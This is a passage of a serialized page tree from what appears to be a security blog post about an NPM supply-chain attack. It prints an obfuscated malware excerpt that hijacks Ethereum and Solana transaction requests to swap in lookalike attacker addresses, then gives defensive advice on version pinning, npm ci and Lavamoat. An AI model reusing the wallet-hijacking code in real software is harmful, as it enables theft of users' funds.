});\n",{"type":24,"tag":147,"props":103777,"children":103778},{"class":149,"line":421},[103779,103783,103787],{"type":24,"tag":147,"props":103780,"children":103781},{"style":321},[103782],{"type":29,"value":44795},{"type":24,"tag":147,"props":103784,"children":103785},{"style":247},[103786],{"type":29,"value":103667},{"type":24,"tag":147,"props":103788,"children":103789},{"style":235},[103790],{"type":29,"value":432},{"type":24,"tag":147,"props":103792,"children":103793},{"class":149,"line":435},[103794],{"type":24,"tag":147,"props":103795,"children":103796},{"style":235},[103797],{"type":29,"value":1120},{"type":24,"tag":2674,"props":103799,"children":103800},{"start":169},[103801],{"type":24,"tag":2678,"props":103802,"children":103803},{},[103804],{"type":29,"value":103805},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":24,"tag":137,"props":103807,"children":103809},{"code":103808,"language":36966,"meta":7,"className":36964,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[103810],{"type":24,"tag":80,"props":103811,"children":103812},{"__ignoreMap":7},[103813,103891,103902,103959,103999,104024,104039,104050,104084,104117,104136,104163,104171,104182,104222,104251,104279,104286,104326,104369,104413,104428,104467,104474,104498,104505],{"type":24,"tag":147,"props":103814,"children":103815},{"class":149,"line":150},[103816,103820,103824,103829,103833,103837,103841,103846,103850,103855,103859,103863,103867,103871,103875,103879,103883,103887],{"type":24,"tag":147,"props":103817,"children":103818},{"style":321},[103819],{"type":29,"value":21191},{"type":24,"tag":147,"props":103821,"children":103822},{"style":235},[103823],{"type":29,"value":408},{"type":24,"tag":147,"props":103825,"children":103826},{"style":247},[103827],{"type":29,"value":103828},"_0x2c3d7e",{"type":24,"tag":147,"props":103830,"children":103831},{"style":235},[103832],{"type":29,"value":87},{"type":24,"tag":147,"props":103834,"children":103835},{"style":247},[103836],{"type":29,"value":43910},{"type":24,"tag":147,"props":103838,"children":103839},{"style":241},[103840],{"type":29,"value":37022},{"type":24,"tag":147,"props":103842,"children":103843},{"style":3534},[103844],{"type":29,"value":103845}," 'eth_sendTransaction'",{"type":24,"tag":147,"props":103847,"children":103848},{"style":241},[103849],{"type":29,"value":4269},{"type":24,"tag":147,"props":103851,"children":103852},{"style":247},[103853],{"type":29,"value":103854}," _0x2c3d7e",{"type":24,"tag":147,"props":103856,"children":103857},{"style":235},[103858],{"type":29,"value":87},{"type":24,"tag":147,"props":103860,"children":103861},{"style":247},[103862],{"type":29,"value":1777},{"type":24,"tag":147,"props":103864,"children":103865},{"style":241},[103866],{"type":29,"value":4269},{"type":24,"tag":147,"props":103868,"children":103869},{"style":247},[103870],{"type":29,"value":103854},{"type":24,"tag":147,"props":103872,"children":103873},{"style":235},[103874],{"type":29,"value":87},{"type":24,"tag":147,"props":103876,"children":103877},{"style":247},[103878],{"type":29,"value":1777},{"type":24,"tag":147,"props":103880,"children":103881},{"style":235},[103882],{"type":29,"value":9358},{"type":24,"tag":147,"props":103884,"children":103885},{"style":705},[103886],{"type":29,"value":3173},{"type":24,"tag":147,"props":103888,"children":103889},{"style":235},[103890],{"type":29,"value":46220},{"type":24,"tag":147,"props":103892,"children":103893},{"class":149,"line":160},[103894,103898],{"type":24,"tag":147,"props":103895,"children":103896},{"style":321},[103897],{"type":29,"value":102931},{"type":24,"tag":147,"props":103899,"children":103900},{"style":235},[103901],{"type":29,"value":6630},{"type":24,"tag":147,"props":103903,"children":103904},{"class":149,"line":169},[103905,103909,103914,103918,103923,103927,103931,103935,103939,103943,103947,103951,103955],{"type":24,"tag":147,"props":103906,"children":103907},{"style":218},[103908],{"type":29,"value":57260},{"type":24,"tag":147,"props":103910,"children":103911},{"style":247},[103912],{"type":29,"value":103913}," _0x39ad21",{"type":24,"tag":147,"props":103915,"children":103916},{"style":241},[103917],{"type":29,"value":651},{"type":24,"tag":147,"props":103919,"children":103920},{"style":229},[103921],{"type":29,"value":103922}," _0x1089ae",{"type":24,"tag":147,"props":103924,"children":103925},{"style":235},[103926],{"type":29,"value":480},{"type":24,"tag":147,"props":103928,"children":103929},{"style":247},[103930],{"type":29,"value":103828},{"type":24,"tag":147,"props":103932,"children":103933},{"style":235},[103934],{"type":29,"value":87},{"type":24,"tag":147,"props":103936,"children":103937},{"style":247},[103938],{"type":29,"value":1777},{"type":24,"tag":147,"props":103940,"children":103941},{"style":235},[103942],{"type":29,"value":9358},{"type":24,"tag":147,"props":103944,"children":103945},{"style":705},[103946],{"type":29,"value":3173},{"type":24,"tag":147,"props":103948,"children":103949},{"style":235},[103950],{"type":29,"value":28662},{"type":24,"tag":147,"props":103952,"children":103953},{"style":218},[103954],{"type":29,"value":9619},{"type":24,"tag":147,"props":103956,"children":103957},{"style":235},[103958],{"type":29,"value":1473},{"type":24,"tag":147,"props":103960,"children":103961},{"class":149,"line":178},[103962,103967,103971,103975,103979,103983,103987,103991,103995],{"type":24,"tag":147,"props":103963,"children":103964},{"style":247},[103965],{"type":29,"value":103966},"    _0x2c3d7e",{"type":24,"tag":147,"props":103968,"children":103969},{"style":235},[103970],{"type":29,"value":87},{"type":24,"tag":147,"props":103972,"children":103973},{"style":247},[103974],{"type":29,"value":1777},{"type":24,"tag":147,"props":103976,"children":103977},{"style":235},[103978],{"type":29,"value":9358},{"type":24,"tag":147,"props":103980,"children":103981},{"style":705},[103982],{"type":29,"value":3173},{"type":24,"tag":147,"props":103984,"children":103985},{"style":235},[103986],{"type":29,"value":14286},{"type":24,"tag":147,"props":103988,"children":103989},{"style":241},[103990],{"type":29,"value":369},{"type":24,"tag":147,"props":103992,"children":103993},{"style":247},[103994],{"type":29,"value":103913},{"type":24,"tag":147,"props":103996,"children":103997},{"style":235},[103998],{"type":29,"value":432},{"type":24,"tag":147,"props":104000,"children":104001},{"class":149,"line":187},[104002,104006,104010,104014,104019],{"type":24,"tag":147,"props":104003,"children":104004},{"style":235},[104005],{"type":29,"value":37068},{"type":24,"tag":147,"props":104007,"children":104008},{"style":321},[104009],{"type":29,"value":54010},{"type":24,"tag":147,"props":104011,"children":104012},{"style":235},[104013],{"type":29,"value":408},{"type":24,"tag":147,"props":104015,"children":104016},{"style":247},[104017],{"type":29,"value":104018},"_0x226343",{"type":24,"tag":147,"props":104020,"children":104021},{"style":235},[104022],{"type":29,"value":104023},") {}\n",{"type":24,"tag":147,"props":104025,"children":104026},{"class":149,"line":196},[104027,104031,104035],{"type":24,"tag":147,"props":104028,"children":104029},{"style":235},[104030],{"type":29,"value":52473},{"type":24,"tag":147,"props":104032,"children":104033},{"style":321},[104034],{"type":29,"value":6625},{"type":24,"tag":147,"props":104036,"children":104037},{"style":235},[104038],{"type":29,"value":6630},{"type":24,"tag":147,"props":104040,"children":104041},{"class":149,"line":205},[104042,104046],{"type":24,"tag":147,"props":104043,"children":104044},{"style":321},[104045],{"type":29,"value":3057},{"type":24,"tag":147,"props":104047,"children":104048},{"style":235},[104049],{"type":29,"value":84150},{"type":24,"tag":147,"props":104051,"children":104052},{"class":149,"line":214},[104053,104058,104062,104066,104070,104074,104079],{"type":24,"tag":147,"props":104054,"children":104055},{"style":235},[104056],{"type":29,"value":104057},"    (",{"type":24,"tag":147,"props":104059,"children":104060},{"style":247},[104061],{"type":29,"value":103828},{"type":24,"tag":147,"props":104063,"children":104064},{"style":235},[104065],{"type":29,"value":87},{"type":24,"tag":147,"props":104067,"children":104068},{"style":247},[104069],{"type":29,"value":43910},{"type":24,"tag":147,"props":104071,"children":104072},{"style":241},[104073],{"type":29,"value":37022},{"type":24,"tag":147,"props":104075,"children":104076},{"style":3534},[104077],{"type":29,"value":104078}," 'solana_signTransaction'",{"type":24,"tag":147,"props":104080,"children":104081},{"style":241},[104082],{"type":29,"value":104083}," ||\n",{"type":24,"tag":147,"props":104085,"children":104086},{"class":149,"line":272},[104087,104092,104096,104100,104104,104109,104113],{"type":24,"tag":147,"props":104088,"children":104089},{"style":247},[104090],{"type":29,"value":104091},"      _0x2c3d7e",{"type":24,"tag":147,"props":104093,"children":104094},{"style":235},[104095],{"type":29,"value":87},{"type":24,"tag":147,"props":104097,"children":104098},{"style":247},[104099],{"type":29,"value":43910},{"type":24,"tag":147,"props":104101,"children":104102},{"style":241},[104103],{"type":29,"value":37022},{"type":24,"tag":147,"props":104105,"children":104106},{"style":3534},[104107],{"type":29,"value":104108}," 'solana_signAndSendTransaction'",{"type":24,"tag":147,"props":104110,"children":104111},{"style":235},[104112],{"type":29,"value":564},{"type":24,"tag":147,"props":104114,"children":104115},{"style":241},[104116],{"type":29,"value":89398},{"type":24,"tag":147,"props":104118,"children":104119},{"class":149,"line":281},[104120,104124,104128,104132],{"type":24,"tag":147,"props":104121,"children":104122},{"style":247},[104123],{"type":29,"value":103966},{"type":24,"tag":147,"props":104125,"children":104126},{"style":235},[104127],{"type":29,"value":87},{"type":24,"tag":147,"props":104129,"children":104130},{"style":247},[104131],{"type":29,"value":1777},{"type":24,"tag":147,"props":104133,"children":104134},{"style":241},[104135],{"type":29,"value":58274},{"type":24,"tag":147,"props":104137,"children":104138},{"class":149,"line":299},[104139,104143,104147,104151,104155,104159],{"type":24,"tag":147,"props":104140,"children":104141},{"style":247},[104142],{"type":29,"value":103966},{"type":24,"tag":147,"props":104144,"children":104145},{"style":235},[104146],{"type":29,"value":87},{"type":24,"tag":147,"props":104148,"children":104149},{"style":247},[104150],{"type":29,"value":1777},{"type":24,"tag":147,"props":104152,"children":104153},{"style":235},[104154],{"type":29,"value":9358},{"type":24,"tag":147,"props":104156,"children":104157},{"style":705},[104158],{"type":29,"value":3173},{"type":24,"tag":147,"props":104160,"children":104161},{"style":235},[104162],{"type":29,"value":17391},{"type":24,"tag":147,"props":104164,"children":104165},{"class":149,"line":308},[104166],{"type":24,"tag":147,"props":104167,"children":104168},{"style":235},[104169],{"type":29,"value":104170},"  ) {\n",{"type":24,"tag":147,"props":104172,"children":104173},{"class":149,"line":317},[104174,104178],{"type":24,"tag":147,"props":104175,"children":104176},{"style":321},[104177],{"type":29,"value":75565},{"type":24,"tag":147,"props":104179,"children":104180},{"style":235},[104181],{"type":29,"value":6630},{"type":24,"tag":147,"props":104183,"children":104184},{"class":149,"line":332},[104185,104189,104194,104198,104202,104206,104210,104214,104218],{"type":24,"tag":147,"props":104186,"children":104187},{"style":218},[104188],{"type":29,"value":13701},{"type":24,"tag":147,"props":104190,"children":104191},{"style":247},[104192],{"type":29,"value":104193}," _0x5ad975",{"type":24,"tag":147,"props":104195,"children":104196},{"style":241},[104197],{"type":29,"value":651},{"type":24,"tag":147,"props":104199,"children":104200},{"style":247},[104201],{"type":29,"value":103854},{"type":24,"tag":147,"props":104203,"children":104204},{"style":235},[104205],{"type":29,"value":87},{"type":24,"tag":147,"props":104207,"children":104208},{"style":247},[104209],{"type":29,"value":1777},{"type":24,"tag":147,"props":104211,"children":104212},{"style":235},[104213],{"type":29,"value":9358},{"type":24,"tag":147,"props":104215,"children":104216},{"style":705},[104217],{"type":29,"value":3173},{"type":24,"tag":147,"props":104219,"children":104220},{"style":235},[104221],{"type":29,"value":37174},{"type":24,"tag":147,"props":104223,"children":104224},{"class":149,"line":350},[104225,104229,104233,104238,104242,104247],{"type":24,"tag":147,"props":104226,"children":104227},{"style":321},[104228],{"type":29,"value":44883},{"type":24,"tag":147,"props":104230,"children":104231},{"style":235},[104232],{"type":29,"value":408},{"type":24,"tag":147,"props":104234,"children":104235},{"style":247},[104236],{"type":29,"value":104237},"_0x5ad975",{"type":24,"tag":147,"props":104239,"children":104240},{"style":235},[104241],{"type":29,"value":87},{"type":24,"tag":147,"props":104243,"children":104244},{"style":247},[104245],{"type":29,"value":104246},"transaction",{"type":24,"tag":147,"props":104248,"children":104249},{"style":235},[104250],{"type":29,"value":505},{"type":24,"tag":147,"props":104252,"children":104253},{"class":149,"line":358},[104254,104259,104263,104267,104271,104275],{"type":24,"tag":147,"props":104255,"children":104256},{"style":247},[104257],{"type":29,"value":104258},"        _0x5ad975",{"type":24,"tag":147,"props":104260,"children":104261},{"style":241},[104262],{"type":29,"value":651},{"type":24,"tag":147,"props":104264,"children":104265},{"style":247},[104266],{"type":29,"value":104193},{"type":24,"tag":147,"props":104268,"children":104269},{"style":235},[104270],{"type":29,"value":87},{"type":24,"tag":147,"props":104272,"children":104273},{"style":247},[104274],{"type":29,"value":104246},{"type":24,"tag":147,"props":104276,"children":104277},{"style":235},[104278],{"type":29,"value":432},{"type":24,"tag":147,"props":104280,"children":104281},{"class":149,"line":397},[104282],{"type":24,"tag":147,"props":104283,"children":104284},{"style":235},[104285],{"type":29,"value":18282},{"type":24,"tag":147,"props":104287,"children":104288},{"class":149,"line":421},[104289,104293,104298,104302,104306,104310,104314,104318,104322],{"type":24,"tag":147,"props":104290,"children":104291},{"style":218},[104292],{"type":29,"value":37147},{"type":24,"tag":147,"props":104294,"children":104295},{"style":247},[104296],{"type":29,"value":104297}," _0x5dbe63",{"type":24,"tag":147,"props":104299,"children":104300},{"style":241},[104301],{"type":29,"value":651},{"type":24,"tag":147,"props":104303,"children":104304},{"style":229},[104305],{"type":29,"value":103922},{"type":24,"tag":147,"props":104307,"children":104308},{"style":235},[104309],{"type":29,"value":480},{"type":24,"tag":147,"props":104311,"children":104312},{"style":247},[104313],{"type":29,"value":104237},{"type":24,"tag":147,"props":104315,"children":104316},{"style":235},[104317],{"type":29,"value":546},{"type":24,"tag":147,"props":104319,"children":104320},{"style":218},[104321],{"type":29,"value":13801},{"type":24,"tag":147,"props":104323,"children":104324},{"style":235},[104325],{"type":29,"value":1473},{"type":24,"tag":147,"props":104327,"children":104328},{"class":149,"line":435},[104329,104333,104337,104341,104345,104349,104353,104357,104361,104365],{"type":24,"tag":147,"props":104330,"children":104331},{"style":321},[104332],{"type":29,"value":44883},{"type":24,"tag":147,"props":104334,"children":104335},{"style":235},[104336],{"type":29,"value":408},{"type":24,"tag":147,"props":104338,"children":104339},{"style":247},[104340],{"type":29,"value":103828},{"type":24,"tag":147,"props":104342,"children":104343},{"style":235},[104344],{"type":29,"value":87},{"type":24,"tag":147,"props":104346,"children":104347},{"style":247},[104348],{"type":29,"value":1777},{"type":24,"tag":147,"props":104350,"children":104351},{"style":235},[104352],{"type":29,"value":9358},{"type":24,"tag":147,"props":104354,"children":104355},{"style":705},[104356],{"type":29,"value":3173},{"type":24,"tag":147,"props":104358,"children":104359},{"style":235},[104360],{"type":29,"value":55946},{"type":24,"tag":147,"props":104362,"children":104363},{"style":247},[104364],{"type":29,"value":104246},{"type":24,"tag":147,"props":104366,"children":104367},{"style":235},[104368],{"type":29,"value":505},{"type":24,"tag":147,"props":104370,"children":104371},{"class":149,"line":444},[104372,104377,104381,104385,104389,104393,104397,104401,104405,104409],{"type":24,"tag":147,"props":104373,"children":104374},{"style":247},[104375],{"type":29,"value":104376},"        _0x2c3d7e",{"type":24,"tag":147,"props":104378,"children":104379},{"style":235},[104380],{"type":29,"value":87},{"type":24,"tag":147,"props":104382,"children":104383},{"style":247},[104384],{"type":29,"value":1777},{"type":24,"tag":147,"props":104386,"children":104387},{"style":235},[104388],{"type":29,"value":9358},{"type":24,"tag":147,"props":104390,"children":104391},{"style":705},[104392],{"type":29,"value":3173},{"type":24,"tag":147,"props":104394,"children":104395},{"style":235},[104396],{"type":29,"value":55946},{"type":24,"tag":147,"props":104398,"children":104399},{"style":247},[104400],{"type":29,"value":104246},{"type":24,"tag":147,"props":104402,"children":104403},{"style":241},[104404],{"type":29,"value":651},{"type":24,"tag":147,"props":104406,"children":104407},{"style":247},[104408],{"type":29,"value":104297},{"type":24,"tag":147,"props":104410,"children":104411},{"style":235},[104412],{"type":29,"value":432},{"type":24,"tag":147,"props":104414,"children":104415},{"class":149,"line":452},[104416,104420,104424],{"type":24,"tag":147,"props":104417,"children":104418},{"style":235},[104419],{"type":29,"value":44537},{"type":24,"tag":147,"props":104421,"children":104422},{"style":321},[104423],{"type":29,"value":6625},{"type":24,"tag":147,"props":104425,"children":104426},{"style":235},[104427],{"type":29,"value":6630},{"type":24,"tag":147,"props":104429,"children":104430},{"class":149,"line":461},[104431,104435,104439,104443,104447,104451,104455,104459,104463],{"type":24,"tag":147,"props":104432,"children":104433},{"style":247},[104434],{"type":29,"value":104376},{"type":24,"tag":147,"props":104436,"children":104437},{"style":235},[104438],{"type":29,"value":87},{"type":24,"tag":147,"props":104440,"children":104441},{"style":247},[104442],{"type":29,"value":1777},{"type":24,"tag":147,"props":104444,"children":104445},{"style":235},[104446],{"type":29,"value":9358},{"type":24,"tag":147,"props":104448,"children":104449},{"style":705},[104450],{"type":29,"value":3173},{"type":24,"tag":147,"props":104452,"children":104453},{"style":235},[104454],{"type":29,"value":14286},{"type":24,"tag":147,"props":104456,"children":104457},{"style":241},[104458],{"type":29,"value":369},{"type":24,"tag":147,"props":104460,"children":104461},{"style":247},[104462],{"type":29,"value":104297},{"type":24,"tag":147,"props":104464,"children":104465},{"style":235},[104466],{"type":29,"value":432},{"type":24,"tag":147,"props":104468,"children":104469},{"class":149,"line":469},[104470],{"type":24,"tag":147,"props":104471,"children":104472},{"style":235},[104473],{"type":29,"value":18282},{"type":24,"tag":147,"props":104475,"children":104476},{"class":149,"line":508},[104477,104481,104485,104489,104494],{"type":24,"tag":147,"props":104478,"children":104479},{"style":235},[104480],{"type":29,"value":6620},{"type":24,"tag":147,"props":104482,"children":104483},{"style":321},[104484],{"type":29,"value":54010},{"type":24,"tag":147,"props":104486,"children":104487},{"style":235},[104488],{"type":29,"value":408},{"type":24,"tag":147,"props":104490,"children":104491},{"style":247},[104492],{"type":29,"value":104493},"_0x4b99fd",{"type":24,"tag":147,"props":104495,"children":104496},{"style":235},[104497],{"type":29,"value":104023},{"type":24,"tag":147,"props":104499,"children":104500},{"class":149,"line":572},[104501],{"type":24,"tag":147,"props":104502,"children":104503},{"style":235},[104504],{"type":29,"value":11496},{"type":24,"tag":147,"props":104506,"children":104507},{"class":149,"line":591},[104508],{"type":24,"tag":147,"props":104509,"children":104510},{"style":235},[104511],{"type":29,"value":827},{"type":24,"tag":43,"props":104513,"children":104515},{"id":104514},"impact-of-the-attack",[104516],{"type":29,"value":104517},"Impact of the Attack",{"type":24,"tag":25,"props":104519,"children":104520},{},[104521],{"type":29,"value":104522},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":24,"tag":32,"props":104524,"children":104526},{"id":104525},"why-it-will-happen-again",[104527],{"type":29,"value":104528},"Why It Will Happen Again",{"type":24,"tag":25,"props":104530,"children":104531},{},[104532],{"type":29,"value":104533},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":24,"tag":25,"props":104535,"children":104536},{},[104537],{"type":29,"value":104538},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":24,"tag":32,"props":104540,"children":104542},{"id":104541},"what-developers-can-do",[104543],{"type":29,"value":104544},"What Developers Can Do",{"type":24,"tag":25,"props":104546,"children":104547},{},[104548],{"type":29,"value":104549},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":24,"tag":43,"props":104551,"children":104553},{"id":104552},"_1-version-pinning-in-packagejson",[104554,104556],{"type":29,"value":104555},"1. Version pinning in ",{"type":24,"tag":80,"props":104557,"children":104559},{"className":104558},[],[104560],{"type":29,"value":104561},"package.json",{"type":24,"tag":25,"props":104563,"children":104564},{},[104565],{"type":29,"value":104566},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":24,"tag":25,"props":104568,"children":104569},{},[104570,104572,104578,104580,104585,104587,104592],{"type":29,"value":104571},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":24,"tag":80,"props":104573,"children":104575},{"className":104574},[],[104576],{"type":29,"value":104577},"npm install",{"type":29,"value":104579},". To pin it, just make sure to remove the caret ",{"type":24,"tag":80,"props":104581,"children":104583},{"className":104582},[],[104584],{"type":29,"value":54532},{"type":29,"value":104586}," symbol before the version in ",{"type":24,"tag":80,"props":104588,"children":104590},{"className":104589},[],[104591],{"type":29,"value":104561},{"type":29,"value":978},{"type":24,"tag":137,"props":104594,"children":104596},{"code":104595,"language":39598,"meta":7,"className":39596,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[104597],{"type":24,"tag":80,"props":104598,"children":104599},{"__ignoreMap":7},[104600,104621,104642,104663],{"type":24,"tag":147,"props":104601,"children":104602},{"class":149,"line":150},[104603,104608,104612,104617],{"type":24,"tag":147,"props":104604,"children":104605},{"style":3534},[104606],{"type":29,"value":104607},"\"@react-native-async-storage/async-storage\"",{"type":24,"tag":147,"props":104609,"children":104610},{"style":235},[104611],{"type":29,"value":20943},{"type":24,"tag":147,"props":104613,"children":104614},{"style":3534},[104615],{"type":29,"value":104616},"\"1.23.1\"",{"type":24,"tag":147,"props":104618,"children":104619},{"style":235},[104620],{"type":29,"value":1549},{"type":24,"tag":147,"props":104622,"children":104623},{"class":149,"line":160},[104624,104629,104633,104638],{"type":24,"tag":147,"props":104625,"children":104626},{"style":3534},[104627],{"type":29,"value":104628},"\"@react-native-community/datetimepicker\"",{"type":24,"tag":147,"props":104630,"children":104631},{"style":235},[104632],{"type":29,"value":20943},{"type":24,"tag":147,"props":104634,"children":104635},{"style":3534},[104636],{"type":29,"value":104637},"\"8.3.0\"",{"type":24,"tag":147,"props":104639,"children":104640},{"style":235},[104641],{"type":29,"value":1549},{"type":24,"tag":147,"props":104643,"children":104644},{"class":149,"line":169},[104645,104650,104654,104659],{"type":24,"tag":147,"props":104646,"children":104647},{"style":3534},[104648],{"type":29,"value":104649},"\"@react-native-community/netinfo\"",{"type":24,"tag":147,"props":104651,"children":104652},{"style":235},[104653],{"type":29,"value":20943},{"type":24,"tag":147,"props":104655,"children":104656},{"style":3534},[104657],{"type":29,"value":104658},"\"11.4.1\"",{"type":24,"tag":147,"props":104660,"children":104661},{"style":235},[104662],{"type":29,"value":1549},{"type":24,"tag":147,"props":104664,"children":104665},{"class":149,"line":178},[104666,104671,104675],{"type":24,"tag":147,"props":104667,"children":104668},{"style":3534},[104669],{"type":29,"value":104670},"\"@react-native-picker/picker\"",{"type":24,"tag":147,"props":104672,"children":104673},{"style":235},[104674],{"type":29,"value":20943},{"type":24,"tag":147,"props":104676,"children":104677},{"style":3534},[104678],{"type":29,"value":104679},"\"2.11.0\"\n",{"type":24,"tag":43,"props":104681,"children":104683},{"id":104682},"_2-use-npm-ci",[104684,104686],{"type":29,"value":104685},"2. Use ",{"type":24,"tag":80,"props":104687,"children":104689},{"className":104688},[],[104690],{"type":29,"value":104691},"npm ci",{"type":24,"tag":25,"props":104693,"children":104694},{},[104695,104700,104702,104708,104710,104715],{"type":24,"tag":80,"props":104696,"children":104698},{"className":104697},[],[104699],{"type":29,"value":104691},{"type":29,"value":104701}," uses the dependency versions from ",{"type":24,"tag":80,"props":104703,"children":104705},{"className":104704},[],[104706],{"type":29,"value":104707},"package-lock.json",{"type":29,"value":104709}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":24,"tag":80,"props":104711,"children":104713},{"className":104712},[],[104714],{"type":29,"value":104577},{"type":29,"value":104716}," when adding a new package or updating an existing one.",{"type":24,"tag":43,"props":104718,"children":104720},{"id":104719},"_3-implement-lavamoat",[104721,104723],{"type":29,"value":104722},"3. Implement ",{"type":24,"tag":2773,"props":104724,"children":104727},{"href":104725,"rel":104726},"https://github.com/LavaMoat/LavaMoat/tree/main",[2777],[104728],{"type":24,"tag":10949,"props":104729,"children":104730},{},[104731],{"type":29,"value":104732},"Lavamoat",{"type":24,"tag":25,"props":104734,"children":104735},{},[104736],{"type":29,"value":104737},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":24,"tag":25,"props":104739,"children":104740},{},[104741],{"type":29,"value":104742},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":24,"tag":137,"props":104744,"children":104746},{"code":104745,"language":39598,"meta":7,"className":39596,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[104747],{"type":24,"tag":80,"props":104748,"children":104749},{"__ignoreMap":7},[104750,104762,104774,104785,104801,104808,104815,104827,104838,104858,104874,104881,104892,104912,104928,104935,104942],{"type":24,"tag":147,"props":104751,"children":104752},{"class":149,"line":150},[104753,104758],{"type":24,"tag":147,"props":104754,"children":104755},{"style":3534},[104756],{"type":29,"value":104757},"\"resources\"",{"type":24,"tag":147,"props":104759,"children":104760},{"style":235},[104761],{"type":29,"value":42621},{"type":24,"tag":147,"props":104763,"children":104764},{"class":149,"line":160},[104765,104770],{"type":24,"tag":147,"props":104766,"children":104767},{"style":247},[104768],{"type":29,"value":104769},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":147,"props":104771,"children":104772},{"style":235},[104773],{"type":29,"value":42621},{"type":24,"tag":147,"props":104775,"children":104776},{"class":149,"line":169},[104777,104781],{"type":24,"tag":147,"props":104778,"children":104779},{"style":247},[104780],{"type":29,"value":42629},{"type":24,"tag":147,"props":104782,"children":104783},{"style":235},[104784],{"type":29,"value":42621},{"type":24,"tag":147,"props":104786,"children":104787},{"class":149,"line":178},[104788,104793,104797],{"type":24,"tag":147,"props":104789,"children":104790},{"style":247},[104791],{"type":29,"value":104792},"        \"TextEncoder\"",{"type":24,"tag":147,"props":104794,"children":104795},{"style":235},[104796],{"type":29,"value":20943},{"type":24,"tag":147,"props":104798,"children":104799},{"style":218},[104800],{"type":29,"value":42790},{"type":24,"tag":147,"props":104802,"children":104803},{"class":149,"line":187},[104804],{"type":24,"tag":147,"props":104805,"children":104806},{"style":235},[104807],{"type":29,"value":18282},{"type":24,"tag":147,"props":104809,"children":104810},{"class":149,"line":196},[104811],{"type":24,"tag":147,"props":104812,"children":104813},{"style":235},[104814],{"type":29,"value":30982},{"type":24,"tag":147,"props":104816,"children":104817},{"class":149,"line":205},[104818,104823],{"type":24,"tag":147,"props":104819,"children":104820},{"style":247},[104821],{"type":29,"value":104822},"    \"@ethereumjs/util\"",{"type":24,"tag":147,"props":104824,"children":104825},{"style":235},[104826],{"type":29,"value":42621},{"type":24,"tag":147,"props":104828,"children":104829},{"class":149,"line":214},[104830,104834],{"type":24,"tag":147,"props":104831,"children":104832},{"style":247},[104833],{"type":29,"value":42629},{"type":24,"tag":147,"props":104835,"children":104836},{"style":235},[104837],{"type":29,"value":42621},{"type":24,"tag":147,"props":104839,"children":104840},{"class":149,"line":272},[104841,104846,104850,104854],{"type":24,"tag":147,"props":104842,"children":104843},{"style":247},[104844],{"type":29,"value":104845},"        \"console.warn\"",{"type":24,"tag":147,"props":104847,"children":104848},{"style":235},[104849],{"type":29,"value":20943},{"type":24,"tag":147,"props":104851,"children":104852},{"style":218},[104853],{"type":29,"value":9619},{"type":24,"tag":147,"props":104855,"children":104856},{"style":235},[104857],{"type":29,"value":1549},{"type":24,"tag":147,"props":104859,"children":104860},{"class":149,"line":281},[104861,104866,104870],{"type":24,"tag":147,"props":104862,"children":104863},{"style":247},[104864],{"type":29,"value":104865},"        